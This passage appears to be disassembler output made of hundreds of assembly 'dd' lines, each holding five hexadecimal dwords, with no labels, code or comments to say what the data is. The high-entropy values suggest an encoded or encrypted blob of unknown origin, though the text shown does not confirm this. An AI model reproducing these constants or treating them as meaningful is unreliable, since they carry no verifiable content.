		dd 1FE0AC74h, 503E1FD8h, 9A263D3Ah, 453389Dh, 96433DCh
		dd 835DE575h, 0EF3D34D3h, 654E1817h, 0A84B64A1h, 3D62DD76h
		dd 0EE8D56D9h, 6F8BB093h, 0CF704F0Eh, 3A673171h, 7249879Eh
		dd 21431168h, 302B919Bh, 0E3D4B9DCh, 8FBBF9BEh,	888A9FEEh
		dd 8BDC5792h, 0E2E46E65h, 0A4C19h, 6078AFADh, 0E5C8C5B3h
		dd 5D461CF4h, 0BCDF730h, 0DB1879ABh, 868B19A3h,	1C007C66h
		dd 855D4F4Ch, 9F05E56Ah, 0BD2E4266h, 2EAAF457h,	7C125078h
		dd 41B3175Dh, 7CDEE8DAh, 5FA24C44h, 45D67A95h, 0A6FDCAB6h
		dd 1FB2FF39h, 0CD9E6795h, 0B0DC2A2Bh, 0BB4845A3h, 884FE45Dh
		dd 0EBEEF6F9h, 0D6C3313Bh, 0ADED372Dh, 7A3AEDFFh, 0C927BEB7h
		dd 0DB437B8Ah, 0E7947DEAh, 728BD081h, 1703A6ECh, 52F9DDA3h
		dd 13030F0Eh, 0DA8EBEABh, 0A4B284E6h, 9B9ED40Fh, 0B63C2D76h
		dd 0D0A455DAh, 0BEEF40BFh, 0E2CC896Ch, 0B32F2CBFh, 0AB8C6480h
		dd 71E3C07h, 0BB254232h, 1C9BA667h, 2212454Fh, 60CF0437h
		dd 52EC4D5Ah, 0C7178428h
		dd 7482D23Ah, 8ED86649h, 0E75A40DCh, 0DCAAF3D3h, 0B7989E96h
		dd 3A258A17h, 31A00CC7h, 85BE93BFh, 77203CC8h, 0FD7F6082h
		dd 64E5DD99h, 82F6FBA1h, 77117580h, 5F8C2D9Dh, 0B99F7F34h
		dd 6FC45FD0h, 9BF5D7A8h, 72EF3318h, 5E0F7A5h, 92B6443Ch
		dd 0E17D881Ah, 46F8EDB4h, 59E221E6h, 27534941h,	0A9DA001Ah
		dd 0C3D5145h, 1CD8F378h, 5E231015h, 0E6FE8C09h,	5DA70E03h
		dd 0B14A1EFAh, 0B49ED62Dh, 172854C5h, 0C9097602h, 0CC72305Ch
		dd 0D1430CA4h, 984DCE9Dh, 3483C0E5h, 7AE4BA24h,	12FEFEC3h
		dd 83F9CC9Bh, 0B32B4B82h, 378AAEC8h, 0D14CDEFFh, 57DEE386h
		dd 0D0BD73B9h, 4FCE3CF3h, 0E50C4AEDh, 2D77604Ah, 9D27DB5Bh
		dd 849CCC5Eh, 0EAD3294Eh, 0A28BBAD2h, 0A2DA8308h, 0F7299588h
		dd 373ECBBFh, 0A80ECC43h, 0BCB2AFFCh, 0D7C2BCF6h, 655823EEh
		dd 0B1985FD9h, 0C9043930h, 2E9DBD78h, 0F223E4AFh, 0BD6641CAh
		dd 7921D18Dh, 996A0583h, 7FDF8C7Ah, 8C186587h, 1787115Bh
		dd 457E55F3h, 0BE4DCBF1h, 4BA9FD3Bh, 4B0C7076h,	82705DA9h
		dd 8277710Dh, 0A32EC818h, 508C7D9h, 7F50FE38h, 5466E4F9h
		dd 0E847CB10h, 0E8746C88h, 27E3E0h, 0FF1D28FDh,	0D5254C09h
		dd 3BE397BFh, 55D868BBh, 0E79DF820h, 0D49F8FCCh, 0A61D8B83h
		dd 0A0630B89h, 359DF033h, 0E4981046h, 28F7312Fh, 0D4ED7F92h
		dd 929C1AD7h, 0D858DE93h, 0E31218h, 0F792280Dh,	0DB837D7h
		dd 0F11A01A6h, 0D4ACC973h, 3C407B1Dh, 0C866A913h, 9489BEA0h
		dd 3ADF3CEBh, 6A603395h, 88CBD80Ah, 28D1189Eh, 4E132C6h
		dd 2A29CABFh, 0E77B27AEh, 28F3688Bh, 445EDF81h,	0D56334F3h
		dd 95C3EF49h, 37B60D72h, 3693AA6Ah, 0FAA4DCA8h,	8C88CBDFh
		dd 0C8DBB823h, 386880Bh, 653CA327h, 89092239h, 0E0856E9Ah
		dd 18D17866h, 0AE43BCC3h, 0A2ED5E83h, 0BAE4CC1Ah, 79BFA244h
		dd 0ED20EFA5h, 7B0EC696h, 0ED09B4BFh, 8BF58953h, 8DF6095Dh
		dd 5E4C0D2Dh, 49337BA9h, 92774619h, 8676534Ah, 207D3087h
		dd 82A9212Eh, 0A15A66F8h, 0A102BE48h, 704F8381h, 3C66DF00h
		dd 3B9886Eh, 8296EC00h,	0A58C192Fh, 0C530FBAh, 0B6667CC2h
		dd 0EE793389h, 98D8006h, 0BA2ACDECh, 4FE693A6h,	0E13CFF26h
		dd 0CBA503AAh, 6632D40Dh, 6C8D939Dh, 0CCA8B8CAh, 0EC5E7383h
		dd 0E18EAD1h, 511516C4h, 66C61CEh, 0C47DF6B7h, 714CC47Eh
		dd 1C388181h, 0A6A5D247h, 0FD16A615h, 0A8404867h, 35324D6Bh
		dd 0A5017768h, 58575B99h, 8427EB64h, 89225CEFh,	51876B8h
		dd 3A77DE8Eh, 0E2F858A7h, 239B3C70h, 5672DEF1h,	0E1327231h
		dd 620E38FDh, 5378EEFBh, 0A2933938h, 88405A7Fh,	4C0F0F4Dh
		dd 0EF67F93Ch, 0AD3FD15Ah, 0B629463Ch, 91A57806h, 3031A47Dh
		dd 2C01B2E8h, 0F6A28AF7h, 6D2B250Bh, 124EA3D9h,	38D3F942h
		dd 0A36D164Ch, 66884BFDh, 62E98CA9h, 7D476992h,	5A00E836h
		dd 24C23C60h, 61B7954Dh, 8AD147B7h, 0FD37F28Fh,	0BB14469Bh
		dd 6ED2B918h, 3CF0DF5Eh, 9741ECFCh, 390BDB97h, 0A3424449h
		dd 613977BDh, 1AF71216h, 0FF51E8F7h, 5E61DD66h,	79763F4Fh
		dd 30E85788h, 0A8B27EBCh, 0FC17EDD3h, 0AF48C2Dh, 46BCC33Fh
		dd 9C7F4EAEh, 66A2C0ADh, 2882C92Dh, 0F4D0181Bh,	6E088E9Dh
		dd 12FE6802h, 786BD2BEh, 0BB3025A3h, 0D7107C8Ah, 0E37E2232h
		dd 0F55E63F3h, 9E17993h, 0E484BEAh, 0C3C48402h,	49FC0E78h
		dd 0E3442610h, 618B95B8h, 0B43AB1A2h, 0F33C9C3h, 2B2B137Eh
		dd 26A43F8Eh, 4E2FB28Dh, 3C7E200Eh, 5C515D69h, 2AE61EABh
		dd 0FD12C599h, 42840C43h, 80C6C9E1h, 8BBE5D1Bh,	0C9E5B7A4h
		dd 0BEBF16F6h, 0E056243Eh, 0F1C4E1A1h, 7146CDD5h, 0DC8C9A41h
		dd 0C77EDCA2h, 5CC04D92h, 795ADC75h, 0C92F5FE3h, 986D5306h
		dd 2ACA8408h, 0F6A9BEB7h, 94D978FCh, 6D448DC8h,	4546905Ch
		dd 2FBBDD81h, 4615040h,	685287CFh, 5010F5B6h, 0DF39A3D0h
		dd 0DA06A797h, 80E72389h, 73E0C08Ch, 0E26940D7h, 3F0B38Dh
		dd 1DEE7B06h, 88FB3F08h, 0A8392C42h, 4DD1D58Ch,	72FC0AC3h
		dd 51C2F974h, 5210F044h, 0FC5C0074h, 2328799Bh,	1C80A7E2h
		dd 66B26EC9h, 1E4DFF62h, 1B3A9DE5h, 73D36FBDh, 711A9D9Ah
		dd 0CD947E58h, 997BB887h, 4C2E062Ch, 0C7EC9D56h, 0E77432AAh
		dd 7536BE17h, 740FBBBEh, 4CE82F81h, 1AA11197h, 0B9C59F66h
		dd 32FB5B70h, 9BAB8D15h, 0E4B1F785h, 0C20917CFh, 0E6C2FF40h
		dd 0BED8D9FFh, 2C760D89h, 0E471E409h, 35E7B77Eh, 9CF6DDA0h
		dd 0FA8DFAD1h, 7B3949CBh, 782482ADh, 80BB505Ch,	0A9C7A940h
		dd 1FA964EDh, 19361C9Ch, 0C801F63Eh, 3D0845Eh, 0CE9200E9h
		dd 0DD2FB9B4h, 3DB1DCBAh, 0FC3F0614h, 466AEEBBh, 0F088F42Ch
		dd 0E296ADF2h, 9DF63AE4h, 2373E732h, 6627102Eh,	65209A81h
		dd 59CD514Bh, 0C33F273h, 4E007491h, 0C63163B0h,	7882C787h
		dd 36DACC53h, 61F5603Eh, 71C0FF09h, 830B8BFBh, 0AF9DC07h
		dd 3FFCF1F7h, 733E2136h, 0CFF4EC27h, 24CF7E5Fh,	0A1439D09h
		dd 9E80E2E9h, 0F4FDDA7Dh, 0CB99228Eh, 79CAAC09h, 11E69F7Bh
		dd 0FDB943Ah, 7CDA685Bh, 1E9245Ah, 0ED187D1Dh, 8F95DCD3h
		dd 0FD15A048h, 472F6F2Fh, 0AAC492B1h, 585542F1h, 8CEB3B0h
		dd 0C5F482F1h, 243F50AEh, 2BE9656Bh, 0BC8A2641h, 59B29538h
		dd 12E8B967h, 7D2C7CDh,	0C6671276h, 10994144h, 0BE80FFB9h
		dd 0D6340091h, 0E9C92637h, 0FA16A218h, 0C3A49BA9h, 663117EFh
		dd 470AA65Fh, 5E063A88h, 0A1C12F04h, 2A47E1EAh,	1022E145h
		dd 0E5FAD5E6h, 811A358h, 0CC6DA20Bh, 26AF1BF2h,	15F4A509h
		dd 18FADCA4h, 75C5C00Eh, 0AA50EEC0h, 343F3C20h,	758FDEBBh
		dd 9FE9C94Bh, 0C647F5DBh, 0C48A8C5Dh, 20ABA2D0h, 62BAEA7h
		dd 335A0286h, 0B9787398h, 0BBED528h, 65EBD6FEh,	9174AC41h
		dd 0D4A2DCDBh, 565F2BEh, 7632C018h, 0B9953D1Eh,	60131E08h
		dd 3DD52CC2h, 2031358Eh, 0D3F47CB4h, 24B2B475h,	0AB165684h
		dd 3EE4E209h, 0DAA57A69h, 1CC04590h, 196E1594h,	985BF124h
		dd 8B1DEE55h, 86105362h, 0D0F680B7h, 0ED7DBD6Eh, 79478ACCh
		dd 9D3A5A0Bh, 6DE183C1h, 0A4731A56h, 0D5C17132h, 0FAEC84FFh
		dd 0A5B8BCA9h, 3F26E8E6h, 9B68B190h, 6B5A0584h,	28B5F238h
		dd 23FE75EDh, 0C4D41F76h, 268DFC92h, 0C5C91697h, 24B41C09h
		dd 0DA78A18Dh, 75C360C0h, 8FB309D6h, 591085D9h,	0FEB9C801h
		dd 8DF86B8Ch, 2D024h, 0FF9A4DFAh, 0B8F5038h, 0A1859CEEh
		dd 18C93794h, 0EA1E99A1h, 0E095EA8h, 32324CD5h,	2D5ECF7Ch
		dd 0A7EE8361h, 0D7BF85C1h, 946634E2h, 62FE1501h, 42C60E93h
		dd 8EA5640Fh, 0AE5497ADh, 0BB335171h, 5CFCC15Ch, 0F1C5F38Ch
		dd 4D2D0E8Eh, 0DD0EAF88h, 0B377A1E7h, 6F709431h, 6046D408h
		dd 7F2AB4A4h, 613B320h,	0C89D62E2h, 7F64AE1Eh, 0F1F5E1C9h
		dd 0C02E1527h, 8810AC60h, 39266010h, 5717A74Fh,	14F5B3DDh
		dd 43BF35D7h, 36DC0B53h, 0BE1E7101h, 0E52E9E20h, 0B4C1B3BDh
		dd 0CBA4E8B9h, 4E1960C5h, 0D7D7A6C7h, 60BBBC72h, 0D5CE3D3Dh
		dd 722F3BB3h, 0A440BFA5h, 2E5B4D42h, 0E2E5F97h,	65A3B994h
		dd 4148EB33h, 5F748DD3h, 0B4CD79C7h, 4BBA10EAh,	16DD50F4h
		dd 0CCCC6A38h, 2435AB80h, 0B28CD485h, 6DDDB77Eh, 0CF3B94DBh
		dd 216B09EAh, 3A15AFECh, 79D1493h, 706E70DAh, 5965CB76h
		dd 802CD581h, 0CE0C8A2Ah, 0B55585A5h, 7A1608E9h, 63B1332Ah
		dd 0A3ED0EE6h, 85A6A111h
		dd 0B024445Ch, 0E2172CF5h, 0A1611EB4h, 9F8D56CBh, 44A60C24h
		dd 9C591508h, 0BAA159B1h, 95EDFDC1h, 1720885Eh,	0F5547BE4h
		dd 70E9400h, 119286F0h,	4AE6E56Dh, 54A00ACDh, 0CEEA81D7h
		dd 33DF8C94h, 695806DFh, 0A672E30Ah, 8E6C2BE9h,	8DD4A851h
		dd 1F7BE41Eh, 1B0C0B49h, 0DC54058Ah, 2DEF9771h,	0D6C99B5Ch
		dd 69D87BEEh, 0F8E41671h, 4371B808h, 0B2AC0E1Bh, 1ED003FFh
		dd 0E9CBBEBBh, 0A4DDB2AAh, 0D391E694h, 7CE4B8B4h, 811B45E8h
		dd 663B0ACBh, 8F0A5AE2h, 0E32C93BFh, 1A1DB3B0h,	0AAE1EB96h
		dd 73D7BF6Ah, 6EF63B50h, 0ED5B97h, 41FCE994h, 70950Dh
		dd 0B8A3F847h, 41F8F527h, 1850B6EDh, 0C2E4B54Ch, 0B5BB7702h
		dd 0FE256A7Eh, 44D579Ch, 0B01168A0h, 0DBE454D6h, 161CFDD8h
		dd 0C06344h, 6C18C403h,	642C1487h, 21D23669h, 1AA05D42h
		dd 98351ADEh, 273E92EEh, 8F94F9A6h, 0E6ECD7B2h,	0B4D9ACD6h
		dd 0DA5BC2D7h, 9DC95600h, 0E0838621h, 0A48D9CF4h, 0BE211E9Bh
		dd 881FAF8h, 85F9F693h,	35448A5Dh, 2B4F4E7Dh, 779F4E5Eh
		dd 2583708Fh, 467923DDh, 0EC393927h, 0B0F6C1BDh, 6CE28CD7h
		dd 48B8DEDDh, 0ACE85383h, 7C8E091Ah, 124F2BF2h,	4EB8874Fh
		dd 0E7CC9DEEh, 512FC5A7h, 2C125430h, 0DE216430h, 465C20E3h
		dd 0F21293C6h, 0CF62ABE6h, 0AE77CE2Dh, 177E7336h, 20D6402Ch
		dd 3CE58896h, 8E3FE6FAh, 8954FC32h, 7AE83D23h, 825B4E0Dh
		dd 2E538A9Eh, 87563A06h, 84ACCA6Ah, 0A6E66A1Eh,	0ACE7A1C5h
		dd 0EAFBC531h, 9ACE6B69h, 65802295h, 742C973Bh,	7A813E82h
		dd 98259A28h, 0B947B5D1h, 289BFC77h, 34CB9A5Dh,	2817ED0Fh
		dd 37F02E2Dh, 0D5F233AAh, 2C93B462h, 22F33EC8h,	0BF2C981Dh
		dd 417D734Dh, 0B5DF50FBh, 0B1ADA85Dh, 0E819FCB3h, 0B2841D30h
		dd 7E5C2A5Ch, 0B3868710h, 0AC50AEAh, 0B2FBACEAh, 0E72A2E14h
		dd 690808B3h, 0AC6DC60Ah, 80C2D1CCh, 9CA51E93h,	0AB63E2h
		dd 1D80CE3Eh, 51B09B22h, 644DABF1h, 939EACDCh, 0C6F78CFFh
		dd 449EB30Bh, 0ADD61A3Ah, 8980258Ch, 6863FBEFh,	5B825FB4h
		dd 4805777h, 36CC7A2h, 5EBF358Dh, 0D04AEC48h, 0DE2F1783h
		dd 0A8D82A17h, 7E562A1Ch, 8A98FAC4h, 0B0161EE7h, 168C9BBh
		dd 4BA43352h, 0A4322E7Dh, 4F927B11h, 7E3E000h, 0CF898998h
		dd 5AADEC32h, 77816D40h, 0C3E2AD62h, 0C2DA8E0Dh, 0F2E477DEh
		dd 0E617BD74h, 522E1A1Ch, 4EB6E3E0h, 0B4FB5577h, 0A605EA97h
		dd 3826AFECh, 8BBB5092h, 8F2656EEh, 0E8C22A6Dh,	0FE866243h
		dd 8337B999h, 24011D63h, 0D85616Fh, 57C8928Bh, 0D76C54D3h
		dd 0CDE5ACD3h, 0BC9F9C23h, 23F766E8h, 0C8EA0151h, 0FFD2B6DDh
		dd 0D3107B9Ch, 4612A419h, 0CDA92848h, 0F3A02C4Bh, 96605D16h
		dd 0A37AA85Ah, 8E66025Dh, 0CAF59006h, 0BC9AE6DDh, 0F2DA09BDh
		dd 6E99066Eh, 0E50E63FCh, 665570EBh, 1866AA91h,	0D28AD4E7h
		dd 0A6489931h, 0A54BA071h, 0BB90CDBAh, 3633260Ch, 0C4007464h
		dd 0ADE64792h, 2EF1FDDBh, 981D7239h, 0E05B43ABh, 29BB25F1h
		dd 0D273324Fh, 5E6EC179h, 0C4C57824h, 4FD47DACh, 0A0060C1Ah
		dd 0A6CC231Dh, 0DD78746h, 0FF21D8A4h, 6386A319h, 243AAF4Ch
		dd 0AECF495Bh, 6BA3DAFDh, 12C756A1h, 4B7DA1F8h,	0E6AAEA20h
		dd 946B14EBh, 26B3D453h, 607D65D6h, 96004146h, 99D77ECBh
		dd 0A74B5C54h, 33396278h, 763F11BEh, 52BC51h, 7D6559E0h
		dd 6B9595E9h, 0FCAFDE24h, 0C597C665h, 4F30F777h, 0B030DD6Dh
		dd 0D7D0E6CEh, 0B3138112h, 0AFADFDC1h, 0B41EE8C1h, 6A89D794h
		dd 0F0D9867Fh, 0EA3B11CFh, 3F848CCDh, 6D63089Dh, 6FD675B8h
		dd 96AFC2BCh, 5E961322h, 0FBC59134h, 92FC7060h,	0A176A416h
		dd 0F1DEF5EDh, 7577B56Bh, 0D9502AD5h, 0DE570A52h, 5B29795Ah
		dd 0E9026E8Eh, 0CA554E90h, 0EB9B6987h, 6D082038h, 94A0307Bh
		dd 3A901C03h, 0CEF5D741h, 2E3F06ECh, 2D5FD85Bh,	67958EF9h
		dd 85FE3B6Ah, 78C77B4Fh, 65DFF53h, 7F257377h, 8511F28Ah
		dd 3F2CEB36h, 0A0796B7Bh, 0D90305D7h, 461F2E55h, 0A1A5C0h
		dd 71DF8659h, 399641A3h, 6E1B7C17h, 0EF482369h,	1B293E2Fh
		dd 2327D2E0h, 38B80BA9h, 0D4A2F872h, 0DD5EF174h, 9DCD11E4h
		dd 0FF29DBD5h, 3A7A08DAh, 0CC639A04h, 52966019h, 2D74D871h
		dd 4B7395AEh, 0FA33334Bh, 0D206899h, 425DA0A5h,	81DF7B9Bh
		dd 344FA706h, 0FF6B3043h, 0BA52CE58h, 4632CC10h, 2BDEBEF6h
		dd 2D03C393h, 0FE3CCE2Ah, 60E15E11h, 74EEE6F6h,	9D1DAEB2h
		dd 2364930h, 0BB3DFA5Bh, 0E37B1D48h, 2EDA7581h,	0F629C830h
		dd 0EA2C1164h, 9560A696h, 83FF4EC0h, 83618A36h,	93504D46h
		dd 7BB04DFFh, 7AEBC1FFh, 6576EA0Dh, 452547A5h, 55D1C4Dh
		dd 0B8455110h, 69BA9E78h, 504BA5E3h, 189251E1h,	0C48523F4h
		dd 0A3DE69D5h, 2EE02D6Ah, 0D2DB7C49h, 10A032A6h, 0EBF2FC6Ch
		dd 16850FC9h, 6565E350h, 7F3E8A7Dh, 6ECCCFC9h, 1D3F9DEh
		dd 0BAB217B2h, 97950D2Fh, 4E3F24D9h, 0DDAE7E86h, 0F327419Bh
		dd 7A2FFD24h, 1B2D547Ah, 3BE0DCF7h, 0CCE9B54Bh,	0A3BD0112h
		dd 4287EB06h, 0C8F5FE9Dh, 0D65E0502h, 2D97E230h, 0D3883F46h
		dd 0CB1DF7F0h, 746F7181h, 0A49C2400h, 0FBC03D20h, 4F45DF47h
		dd 97C319F4h, 66D46890h, 7D2B7592h, 8CB521D9h, 0F8B72A56h
		dd 3FC0854Ah, 1F42AC1Bh, 4736C1EDh, 37AD9472h, 749ACB10h
		dd 0A9DAA5C1h, 3D25B58Fh, 0F560EF0Dh, 0EF114F0Fh, 0E101E2B5h
		dd 0D267FA36h, 4F65F614h, 615EA49Bh, 0D628595Dh, 0B0FF9368h
		dd 9D772690h, 1FF70EC3h, 4165AA37h, 0B3527D46h,	0A3335FFh
		dd 72AC45FFh, 7A56A80Dh, 473564A5h, 0F8D474Dh, 0C0283D14h
		dd 30F40D04h, 88F94F46h, 4116335Ch, 92A195A7h, 0D9D89BEEh
		dd 11987F38h, 0A8900031h, 0FC75496Ah, 35FDEA30h, 26CDA994h
		dd 4E16E679h, 8BDE1775h, 0C3E22A08h, 61A6260Ah,	0D399463Ah
		dd 0B9928D03h, 0B5A0D223h, 0D54450BBh, 8DD0BE10h, 42FF332Eh
		dd 0D3DD4399h, 0B025CB5Bh, 85D2C5BDh, 1BFF33EBh, 0FE21F4D2h
		dd 180431C5h, 0B1CF7488h, 59D3610Ah, 5912A57Dh,	76D4B979h
		dd 0EFE49E78h, 5C5D1E83h, 0AB7D5F15h, 44BC4598h, 0E9529B4Eh
		dd 0D733D7F5h, 0F5AC2D1Ch, 6B5BE0E7h, 7CB90B09h, 55277FCh
		dd 3D15E4Dh, 74C94E0h, 0C35D81FEh, 2526F75Bh, 9160FDB2h
		dd 0C8E548ABh, 5EE4C994h, 92664407h, 0E19B9494h, 141DFADFh
		dd 4E1E7C31h, 0CE3DCBCDh, 4152D33Eh, 6C9FE8D6h,	67FD20E3h
		dd 3395BCC1h, 0B4650033h, 0ECFE7AEEh, 5B8FCD57h, 8A53B71Ch
		dd 2208F78h, 8EC2F5ACh,	69AA2DA6h, 0C0A5213Ch, 1D696CBBh
		dd 93994D66h, 70E6AC0Bh, 0D5FE7275h, 0D9DF2862h, 16736FFEh
		dd 0C06C848Fh, 0ABDD6279h, 94EBC650h, 0EAF1BE7Ah, 0EA668427h
		dd 0F9211682h, 0A133C04Bh, 0AB8A0450h, 0A65A8CACh, 0B841AD9Fh
		dd 1C478FC8h, 8032CB33h, 659EE905h, 0FB0ADBFEh,	136C99E1h
		dd 76A1330Ch, 49416AF8h, 1805B80Fh, 33A70DA8h, 47EE7190h
		dd 654FF6BCh, 0C02A8CE9h, 0FB96C07h, 362FFFE3h,	24036478h
		dd 56B840B8h, 0BB733A57h, 0C44678Ch, 7AB643E8h,	39C3F931h
		dd 8A70FB10h, 6BB7850Eh, 0FCB90653h, 4061CE0Fh,	0A884A382h
		dd 0F02289ECh, 0DA56D0Eh, 2D8D7D15h, 6BDF7C1Eh,	0F7221809h
		dd 15962E84h, 0B936C292h, 139D19FBh, 0E6E205DAh, 316AF9C1h
		dd 0F1A2D7DCh, 0D5EB63BCh, 9C0D0524h, 0AD0441E9h, 0C7E4793Ch
		dd 0E6F28FD8h, 0A101D746h
		dd 736BBAA8h, 772C89ABh, 47739099h, 0B8D5EB2Fh,	115CDB51h
		dd 0CC84A790h, 0E1D37F74h, 604F69F9h, 0CEEEC3C4h, 9C011D9Ch
		dd 0D9D16126h, 2127A5DCh, 2D976C6Ch, 642AE48Ch,	856B830Dh
		dd 2B1E4213h, 629AFE22h, 0D87F472Fh, 0DB8C2887h, 44D30B43h
		dd 400C6583h, 0CD1F7A37h, 4361652Fh, 3DB12E44h,	0BA450D19h
		dd 6B22BE8Eh, 247EC99Ch, 0D151FBE1h, 5E34FEC1h,	0E70CFA50h
		dd 0F73474A7h, 1AF7DD5Bh, 3F459167h, 0A659C92Eh, 0DCA6FA92h
		dd 0DB2F7F85h, 0DB1B2D78h, 26ED9F8Fh, 4361B4CBh, 0BB487FF3h
		dd 3DB23902h, 8E3CA1FCh, 6A837D21h, 7C586541h, 43C39EE3h
		dd 830F3DCh, 2AA92660h,	901EE01Dh, 0A5D74D7Ah, 6865D1C5h
		dd 0F4488282h, 1F14860h, 901D1BA1h, 4FBA2807h, 58B609FFh
		dd 1FFDFA9Dh, 0A15809A2h, 0B0559A89h, 86A7FFACh, 48871093h
		dd 17F04191h, 0D3154D99h, 0E09F77A0h, 0F8298DB9h, 0F213E254h
		dd 9C130010h, 9616D598h, 9D68BEB2h, 0D60AC59h, 60A8C540h
		dd 89DD7E38h, 90725CEEh, 0E4AE46ABh, 0FD96327Eh, 0CE79E622h
		dd 2EE4A326h, 427C1E3Ch, 9BD4B577h, 56EB9D0Fh, 0D00E43CCh
		dd 0C5CAFA61h, 3422BEE3h, 6D744027h, 0B82CFB6Fh, 0AB5A60D2h
		dd 0FBA6C60Fh, 0ADACC22Ch, 34EED10Ch, 7CCC7A92h, 2BC0FBF3h
		dd 7C78F9EEh, 0CE8B16F3h, 99DCAA42h, 6C56055Dh,	8DAC9893h
		dd 0CF73BEE3h, 0CF59551Dh, 0FE96523Bh, 69018D0Bh, 0A832ED75h
		dd 4DE1420Ch, 0DA8DC886h, 0C121BCA5h, 0E9CF1F38h, 5E55F04Bh
		dd 0DCD69ECh, 7D8341E9h, 835B05E7h, 69E724A5h, 30A982AFh
		dd 75463493h, 40358BB0h, 48146985h, 468D3DE9h, 97DF7C91h
		dd 0DDD6D73h, 7B61A7A4h, 9FA64E5Ch, 8D2547ACh, 0AED158C2h
		dd 0DEC5BD58h, 8FDA9C08h, 1D9AFF43h, 986FEF6Ch,	0F51C909Bh
		dd 0BFE9812Ch, 889FF5D8h, 8729AAB9h, 0C0DA2557h, 0F4A37AB3h
		dd 7623174Dh, 0CD66D7A6h, 0FE1A7CB1h, 76517C6Fh, 93080C2h
		dd 6F8A9F6Fh, 19013307h, 15E90A66h, 8981D6F6h, 88E4999Bh
		dd 57CA9E82h, 7E22B38Fh, 754E70Ch, 5BE654C2h, 0B19AF7A8h
		dd 0C78E12B2h, 6C6088E2h, 0C4D3911Fh, 8DB0F44Ah, 2B32E3F8h
		dd 0CD24D225h, 91A22274h, 0D9A0BB12h, 0D32AD47Fh, 1C8AE543h
		dd 4EB929E4h, 0ADF3B942h, 0F359F645h, 2225DE47h, 23C21966h
		dd 0C6D97177h, 2429A983h, 0D33A4146h, 0CED8C590h, 0D4F86D97h
		dd 537DC2BAh, 7F604B8Bh, 385677E4h, 8A4C7446h, 9DB929F9h
		dd 72C758D6h, 965745F0h, 93462B14h, 7085CB2Ch, 68B93A93h
		dd 5035A60Ch, 5F9C4592h, 308D7496h, 0B208365h, 0F4C50C5Bh
		dd 0E4E24F57h, 1A42BF13h, 149EC9D7h, 420641B7h,	0A0050971h
		dd 246D258Ch, 5836EB46h, 0EC6C10F9h, 7257B5F5h,	0D794D929h
		dd 381C7FC8h, 5138F1B5h, 98E8C2A9h, 0A550FF8h, 0C796D7A2h
		dd 6286DA98h, 189F07Ch,	20B0DA00h, 1EE97FB9h, 90F1B8C3h
		dd 0F03EACA4h, 3AEFA2F3h, 26954ADFh, 213E0939h,	0D76CA496h
		dd 54DF3155h, 5226661Ch, 8C1E4D3Eh, 0A670780h, 3CFBE3E6h
		dd 9D8C2B49h, 0AF2DF80Ah, 0B07F62CAh, 0CB0AF3DEh, 4EFADEF1h
		dd 7D54D1B2h, 0CCB8BAF3h, 0FBD8AA66h, 74A9437Dh, 21A523F5h
		dd 79C9A664h, 0F78B85F7h, 8135D4A9h, 15F94543h,	16949667h
		dd 5AF9D571h, 2FB463A7h, 0F9B19D95h, 0D46F0679h, 536FBA2Ah
		dd 975E4B4Bh, 775F7786h, 46742CA7h, 4203251Dh, 0D11C41E9h
		dd 0A7E34EA0h, 272268BBh, 16574BBEh, 20AAC67Bh,	0F3BBD41Ch
		dd 0A65C80FFh, 9DECF660h, 43774399h, 0A44BBBE7h, 4AE8674Dh
		dd 12E51B61h, 51BE3EB7h, 0AAB1E0ABh, 765C5AD5h,	0E623860h
		dd 0EB3C4A36h, 0DFFEEC50h, 0FA0D919Dh, 77FD614Ch, 399F5FDDh
		dd 553DB4B9h, 9DC123A8h, 0F6586610h, 60F723D4h,	0E26936A5h
		dd 88806ED4h, 9C1CD9D5h, 9276833Fh, 9009AB82h, 1798D384h
		dd 0C5FF6F83h, 0AB6E0DFEh, 70E7405Fh, 0B87C6CF0h, 0A755C748h
		dd 8AF30BADh, 0F40877D3h, 0F21659B7h, 0C6E70F76h, 0E34CBF78h
		dd 155AFA2Fh, 18C977DBh, 245A033Ch, 0D8EBD429h,	6C81AD0Ch
		dd 3AA27AA1h, 7EA94E31h, 0EDBF5796h, 0FEB2D3ADh, 0E4413C7Bh
		dd 1B5EA647h, 5323CD47h, 8684C1F1h, 31F1F276h, 52599406h
		dd 0DD8EF091h, 0C8BD7385h, 0A9279188h, 93568F6Fh, 5BDC3D1Dh
		dd 32AC32D3h, 8C38945Eh, 0B0426ED8h, 621355A8h,	0AA5A7CF6h
		dd 873DAE74h, 451A7527h, 0C0B9C96Fh, 2FB57C1Ch,	50295EFFh
		dd 9420A369h, 0E3219D63h, 0A795C9Bh, 82D8A7F4h,	0DB6D7FC0h
		dd 94CB9273h, 7ED205F0h, 2A047EACh, 0A41189EEh,	1832E715h
		dd 5B0700B8h, 0E3ED9254h, 78E4F48Ch, 0E4DAB4D1h, 34A9A732h
		dd 0F63AD2A8h, 12C3ED1Fh, 5915E3BDh, 74E34158h,	0EE3468D2h
		dd 3D28AE2Dh, 10056A4Fh, 80C74CA6h, 5D4B4AE3h, 59C6A9E2h
		dd 1F4E6632h, 175D935h,	0AB61F4EAh, 91AA09B1h, 61151EFCh
		dd 86852386h, 0A9AC001h, 53D113CFh, 677CBDE7h, 0D8D5326Ch
		dd 0FCD1607Eh, 0CCDF78A0h, 0C4389497h, 28D8DD9Eh, 0CE1D804Fh
		dd 3EB589C1h, 29847B7Eh, 0EEB3D342h, 0C936BA5Ah, 2656BF11h
		dd 52D4B81Ch, 0C527451h, 59B48662h, 3B79DD06h, 0D0AA322h
		dd 9A715C00h, 0A6FF1976h, 0E95A8A7Ah, 0A379C8DCh, 5898FC8Eh
		dd 3B0BA080h, 0DF638184h, 60A746B5h, 95CA773h, 4648C3E4h
		dd 27113345h, 6B627919h, 0E01E7E18h, 1D0B127Ah,	0EF647D15h
		dd 63AD456Dh, 7CF4B898h, 0FD61C3B8h, 6628B906h,	8DFC9A42h
		dd 0CE103BDCh, 1C210445h, 619EF9F2h, 150B270Eh,	0AC0BE761h
		dd 66AB82FBh, 0B604F171h, 0CA0810C3h, 0CA3C625Dh, 34684AFEh
		dd 0B1A3EA88h, 0A671D941h, 6C351BCBh, 8B0CA95Bh, 88996118h
		dd 0F34C8F41h, 17C1617Dh, 5F6C3E4h, 0D943FEB7h,	2B897FD6h
		dd 3669F6B0h, 0AD248F6Fh, 0FF914CFBh, 3A85561Eh, 643840C3h
		dd 9142E6AAh, 8592296h,	94DB87F1h, 0DB2C4F04h, 0FBE2EC4Eh
		dd 0D95EB8ACh, 0CCA4F018h, 114025A5h, 4E132853h, 80D6FF7Ch
		dd 0BBF752FBh, 0C94479A5h, 3165BE57h, 23AEAA1Eh, 15AF34DBh
